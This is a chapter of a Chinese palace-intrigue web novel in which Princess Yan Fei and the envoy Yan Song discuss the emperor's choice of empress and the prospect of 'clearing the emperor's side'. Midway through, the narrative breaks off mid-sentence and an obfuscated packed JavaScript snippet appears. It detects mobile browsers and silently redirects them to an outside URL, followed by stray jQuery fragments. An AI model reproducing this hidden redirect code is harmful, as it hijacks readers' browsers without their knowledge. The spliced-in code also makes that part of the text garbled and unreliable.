87. 立后之议

作品:《把千古一帝养成恋爱脑

    刘渲向燕绯玩笑道:“树活一张皮,人活一张嘴,我的这一张嘴呀,就是吃东西的嘴。”


    燕绯把她这句话在心里过了一圈,觉得有意思,刘渲的嘴是吃东西的嘴,那她的这一张,就是骗人的嘴了。


    燕绯乐呵呵地笑,说:“我以后跟着渲妹妹,可就有口福了。”


    兜了一圈,燕绯也不接刘渲的话。刘渲叹气愁道:“燕姐姐可别拿我玩笑了,该是我向姐姐讨吃食才是。”


    “好了好了,”燕绯拍拍她胳膊,说道,“别想那么多,过两日咱们夜游京城,你可要打扮的漂亮些。”


    刘渲显得兴致缺缺,燕绯挽她的手撒娇,说:“好妹妹,你只当陪我逛一逛吧。”


    刘渲只好答应。


    送了刘渲回府,燕绯才回燕公主府。


    正旦朝贺,北燕王派了使臣入京进贡,在京城呆了十几日,即将返程。启程前少不得来拜访一番留京的质子与公主,只是不巧,燕公主交友甚广,又时常入宫随侍太后,几次都扑了空,只见到了燕琮。


    入京的使臣燕诵,也是北燕王室,只是亲缘有些远。这帝都燕诵也来过许多次,进了燕公主府,见高门阔柱,其内铺玉贴金,陈设奢华,与数年前那个破破烂烂的寒酸府邸迥然不同,便知燕公主受宠的传言果然不虚。


    燕诵在府里等了一天,候着燕绯回府。


    回到府上的燕绯听了兰冬报,燕绯转去见燕诵。


    “叫王叔久等了。”燕绯步伐轻快,笑声如银铃清脆悦耳,人未至,声先到,“早闻王叔入京,该是我去拜见王叔的。去国两载余,不知父王与祖母可好?”


    燕诵两年多前见过燕绯一次,给入京的质子送行之时。当时的燕绯是个才十岁的瘦小姑娘,因着“自请入京”,燕诵多看了她一眼,也没有觉得有什么过人之处。如今一见,十三岁的姑娘身姿出挑,衣饰华美,贵气逼人,与两年多前的瘦小姑娘不可同日而语。


    “都好都好,”燕诵起身,感叹道:“一晃两年多,八公主出落的这般好,叫人认不出了哈哈。”


    燕绯在燕宫里排行第八,燕琮排行第九,他两个的生辰只差了一个多月。


    “都是太后娘娘恩典。”燕绯笑道,又让紫春给燕诵换茶,请他坐,“王叔是自家人,与我这般客气,可是折煞我了。咦?”燕绯看了一圈问,“琮儿与邵先生哪里去了,怎不见人?”


    绿夏答道:“今儿早上柳世子来请,王子跟着去湖上嬉冰了,邵先生也陪着。”


    燕绯摇头,轻斥绿夏道:“怎纵他这么贪玩儿?王叔既来了,你们就该去喊他回来才是,哪有叫王叔干等的道理?”


    “怨不得她们。”燕诵说,“是我不叫她们去传话的,左右我也没什么事情,没得坏了淮南世子兴致,倒是我的不是了。两年不见,王子长高了许多,邵大人也显胖了。”


    燕绯笑笑,与燕诵寒暄了几句客套话。


    燕绯请燕诵在府中用膳,燕诵也不推辞,席间与燕绯话起家常,燕诵道:“公主许还不知,您的母亲为王上诞下了十九王子,大王已晋您的母亲为夫人了。”


    跟在妘绯生母身边的是另一套冰卫的人手,两边平常不通信,燕绯才知道她娘又给她生了个弟弟,还以为她娘在北燕冷宫的小角落里继续悠闲自在。


    燕绯连她娘什么时候从冷宫里出来的都不知道,问:“什么时候的事?”


    燕诵道:“就是去年夏天。”


    燕绯心里算了下,应当是她在这边受宠,她娘也在燕宫里受宠了。


    燕绯笑道:“这就太好了。也不知等我回去,弟弟要长的多高了。”


    燕诵闻言,看了燕绯一眼。


    燕绯回想了一下自己方才说的话,叫侍女们撤了饭食退下。门扉关合,屋里只剩了她与燕诵,燕绯收回目光,请教地问:“王叔可有话要对侄女吩咐?”


    燕诵暗道这小八公主果然聪敏,难怪在帝都里如此吃混的开。


    “的确有话要交代你。”燕诵道,“陛下加冠在即,大王要我问你,不知这皇后的人选,二圣可有计较?”


    “这倒是巧了,”燕绯说,“我才从宫里出来,与车骑将军家的三娘子一道出的宫,近来太后娘娘对三娘子很是喜欢,时常召去宫里玩耍。至于陛下,自然是记挂妘少主的,听闻妘少主病重,几次要出宫去探病,却都被太后娘娘挡了回来。”


    燕诵明白了,说道:“便是说,陛下大婚的人选,大约会从刘家姑娘与妘少主二人之间选定了?”


    “这哪儿说得准呢,”燕绯笑着抿茶,道,“王叔,侄女见到什么就与您说什么,至于二圣的心思,侄女不敢妄加揣测。”


    燕诵说这是自然,又叹道:“前朝时,依旧制,皇家与诸侯国世系联姻,大雍的皇后,无不出自海齐、北燕、淮南与妘氏,诸国的王后也多是公主。可自武帝废杭公主后……难道这宫禁中,要连出三代刘氏女为后不成?”至于妘少主,那身体,大家都觉得,一场立后的婚典走下来,身子骨怕是撑不过去。


    “王叔说的是,”燕绯叹气道,“可是,今非昔比呀。”


    “听闻陛下待你与旁人不同,颇是厚待,你又得太后宠爱。”燕诵盯着燕绯问,“何不一争后位?”


    “王叔,”燕绯放下杯盏,轻叹说,“我能在太后娘娘跟前得宠,就是因为我不与刘氏女争后位。陛下亲政八字尚未有一撇,侄女可不想就这么失了太后娘娘的宠爱。何况陛下对我哪儿是厚待呀,那是我仗着太后娘娘狐假虎威,他拿我没辙,又气又不好发作罢了。”


    她还挺有自知之明,听得燕诵一默,看在是亲侄女的份儿上,忍不住提醒她收敛些,不要当真惹恼了陛下,不然等小皇帝亲政,清算起来没有她好果子吃。


    燕绯说:“有太后娘娘在,陛下亲政艰难。”


    燕诵道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186295|188381||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    非也,“你莫小瞧了皇帝。刘侯败后,有不少他一手提拔的旧部都转投了陛下,尤以光禄勋吕昂、太仆姚力为首,朝中风向有变,涿阴刘氏也不能一家独大。”


    燕绯若有所思,“听闻月前淮南国朝觐,随行的牛车把驰道都轧出了二指深的印子,难不成淮南国也有意一争后位?”


    “有何不可?”燕诵反问,“武帝朝时,杭公主为元后,淮南不敢与海齐相争;先帝朝时,妘氏大小姐为元后,淮南不得与妘氏相争。如今海齐覆灭、妘少主病重,遵古制,也当轮到淮南、或我北燕了。”


    淮南国富庶,鱼米之乡;北燕国彪悍,兵强马壮。都可一争。


    轩济若有诸侯国为后族做后盾,内又有刘侯旧部与中山卫氏、康西穆氏等世家依仗,亲政当稳。


    但燕绯并不想让轩济拿婚事去联姻,她的任务是“千古一帝”,完成大一统,日后轩济必定是要征服众诸侯国的,燕绯不想叫他后宫太复杂。瞧瞧给他清除一个尾大不掉的隐患刘侯,轩济就给她吵成了什么样子。这孩子重情重义,若叫他的皇后面临夫婿与父亲二选一的局面……燕绯觉得还是从根源上杜绝隐患的好。


    于是燕绯又把刘太后拉了出来做挡箭牌,叹气说:“我朝以孝治国,有太后娘娘压着,陛下的婚事,旁人做不得主。”


    这就是一个闭环,轩济不亲政,他就没有话语权。可要亲政,他就得先成婚。但他没有亲政,成婚的人选上,他就没有话语权,还得刘太后说了算。但显然,刘太后不可能放权。


    燕诵捋了下须,道:“可清君侧。”


    燕绯闻言抬眼。


    二十四连盏铜灯树火光摇曳,燕绯起身,拿着银剪把灯火按灭了一半。


    “王叔所言,”光线骤暗,燕绯背着身,偏头问,“可是父王与母后议定的意思?”


    北燕的王后,是淮南国的公主。


    燕绯这是在问,北燕国与淮南国,是否有了联手逐鹿中原之意。


    燕诵道:“此乃还道于正。”


    用政治经济学的原理来讲,就是涿阴刘氏代表的新兴地主阶级打破了原本的诸侯王族对统治权的垄断,故必然遭到诸侯国的反扑。


    轩济还年轻,是后雍第三任君王,他的皇后的人选角逐,是新兴地主阶级与封土建国的诸侯王之间的对抗。


    燕绯站在灯盏前,没有动。


    燕诵起身,走到燕绯身后,拍了拍她的肩,道:“大王说八公主机敏有决断,你已入京两年余,岂不比淮南国的公主更占天时地利之便?公主,夫人与小王子在燕都,很是记挂您,盼公主佳音。”


    “咔嚓”一声,燕绯把灯芯剪断了一半。


    燕诵低头,看到了浸在灯油里两截棉芯。


    “公主只管一试。”燕诵说着,从燕绯手里顺走了银剪,挑出发黑的半截灯芯,放在旁边的火焰上点燃,道,“没有用的废品,烧了就是。”